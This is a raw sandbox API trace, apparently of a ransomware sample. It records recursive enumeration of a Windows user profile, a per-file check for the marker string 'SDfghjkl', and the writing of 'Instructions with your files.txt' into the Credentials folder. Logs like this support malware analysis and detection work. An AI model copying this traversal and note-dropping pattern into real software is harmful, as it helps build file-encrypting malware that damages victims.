[0132.131] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.131] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\..") returned 23
[0132.131] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.131] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1
[0132.132] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData") returned 28
[0132.132] GetProcessHeap () returned 0x810000
[0132.132] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.132] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\*") returned 30
[0132.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.132] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\.") returned 30
[0132.132] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.132] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.132] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\..") returned 31
[0132.132] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.132] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66fe9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x93e4774a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1
[0132.132] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local") returned 34
[0132.132] GetProcessHeap () returned 0x810000
[0132.132] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.132] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\*") returned 36
[0132.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66fe9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x93e4774a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.133] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\.") returned 36
[0132.133] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66fe9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x93e4774a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.133] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\..") returned 37
[0132.133] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
[0132.133] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Application Data") returned 51
[0132.133] GetProcessHeap () returned 0x810000
[0132.133] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.133] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Application Data\\*") returned 53
[0132.133] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Application Data\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x1cb8927, ftCreationTime.dwLowDateTime=0x6724b20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2010, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="Ȭ癙䯈\x86翿")) returned 0xffffffff
[0132.133] GetProcessHeap () returned 0x810000
[0132.133] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.133] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
[0132.133] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\History") returned 42
[0132.133] GetProcessHeap () returned 0x810000
[0132.133] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.133] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\History\\*") returned 44
[0132.134] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\History\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x1cb8927, ftCreationTime.dwLowDateTime=0x6724b20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2010, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="Ȭ癙䯈\x86翿")) returned 0xffffffff
[0132.134] GetProcessHeap () returned 0x810000
[0132.134] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.134] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x66b2700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xddd35f67, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0xbd7f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1
[0132.134] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\IconCache.db") returned 47
[0132.134] StrStrIW (lpFirst="IconCache.db", lpSrch="SDfghjkl") returned 0x0
[0132.134] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
[0132.134] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft") returned 44
[0132.134] GetProcessHeap () returned 0x810000
[0132.134] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.134] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\*") returned 46
[0132.134] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0132.136] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\.") returned 46
[0132.136] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.136] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\..") returned 47
[0132.136] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1
[0132.136] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials") returned 56
[0132.136] GetProcessHeap () returned 0x810000
[0132.136] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.136] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\*") returned 58
[0132.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.137] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\.") returned 58
[0132.137] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.137] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.137] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\..") returned 59
[0132.137] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.137] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0132.137] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\Instructions with your files.txt") returned 89
[0132.137] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\credentials\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.137] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.138] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.138] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.138] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.138] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.139] CloseHandle (hObject=0x118) returned 1
[0132.139] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.139] GetProcessHeap () returned 0x810000
[0132.139] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.139] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1
[0132.139] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds") returned 50
[0132.139] GetProcessHeap () returned 0x810000
[0132.139] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.139] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\*") returned 52
[0132.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.141] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\.") returned 52
[0132.141] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.141] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\..") returned 53
[0132.141] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff107f92, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms", cAlternateFileName="FEEDSS~1.FEE")) returned 1
[0132.141] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 72
[0132.141] StrStrIW (lpFirst="FeedsStore.feedsdb-ms", lpSrch="SDfghjkl") returned 0x0
[0132.141] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Feeds~", cAlternateFileName="MICROS~1")) returned 1
[0132.141] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 67
[0132.141] GetProcessHeap () returned 0x810000
[0132.141] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0132.141] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*") returned 69
[0132.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0132.143] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\.") returned 69
[0132.143] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.143] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\..") returned 70
[0132.143] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeaa2466, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft at Home~.feed-ms", cAlternateFileName="MICROS~2.FEE")) returned 1
[0132.143] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 94
[0132.143] StrStrIW (lpFirst="Microsoft at Home~.feed-ms", lpSrch="SDfghjkl") returned 0x0
[0132.143] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft at Work~.feed-ms", cAlternateFileName="MICROS~1.FEE")) returned 1
[0132.143] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 94
[0132.143] StrStrIW (lpFirst="Microsoft at Work~.feed-ms", lpSrch="SDfghjkl") returned 0x0
